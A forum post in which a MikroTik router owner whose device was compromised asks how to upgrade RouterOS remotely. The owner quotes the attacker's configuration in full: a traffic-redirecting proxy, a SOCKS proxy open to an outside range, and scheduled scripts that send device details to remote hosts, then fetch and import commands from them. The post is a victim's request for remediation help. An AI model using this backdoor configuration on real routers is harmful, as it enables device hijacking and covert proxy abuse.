Hello guys,
My router was hacked, and now client from LAN network can’t access some web (just some web, not at all). After remove configuration that configured by hacker, i try to upgrade the routeros version. And i can’t upgrade routeros via /system packages and manual upload file .npk. How to fix this issue without netinstall, because the router is so far from my location.
This is the configuration that made by hacker :
/ip firewall nat
add action=redirect chain=dstnat comment=sysadminpxy dst-port=80 protocol=tcp src-address-list=!Ok to-ports=8080
/ip proxy
set anonymous=yes enabled=yes
/ip proxy access
add action=deny
/ip socks
set port=4153
/ip socks access
add action=deny src-address=!95.154.216.128/25
/system scheduler
add interval=3m name=“DDNS Serv” on-event=“/system script run iDDNS” policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon start-time=startup
/system script
add name=script4_ owner=userpolicy=ftp,reboot,read,write,policy,test,password,sensitive source=
“/tool fetch address=95.154.216.167 port=2008 src-path=/mikrotik.php mode=http keep-result=no”
add name=iDDNS owner=userpolicy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=“:global mac [/interface ethern
et get 1 mac-address]\r
\n:global port ([/ip service get winbox port]."".[/ip socks get port]."".[/ip proxy get port])\r
\n:global info ([/ip socks get enabled]."".[/ip proxy get enabled]."".[/interface pptp-server server get enabled])\r
\n:global cmd "/$mac/$port/$info/dns"\r
\n/tool fetch address=src-ip.com src-path=$cmd mode=http dst-path=dns;:delay 3s\r
\n/import dns;:delay 4s;/file remove dns”
Best Regards
Fitrah Ali Hudzaifah Sofyan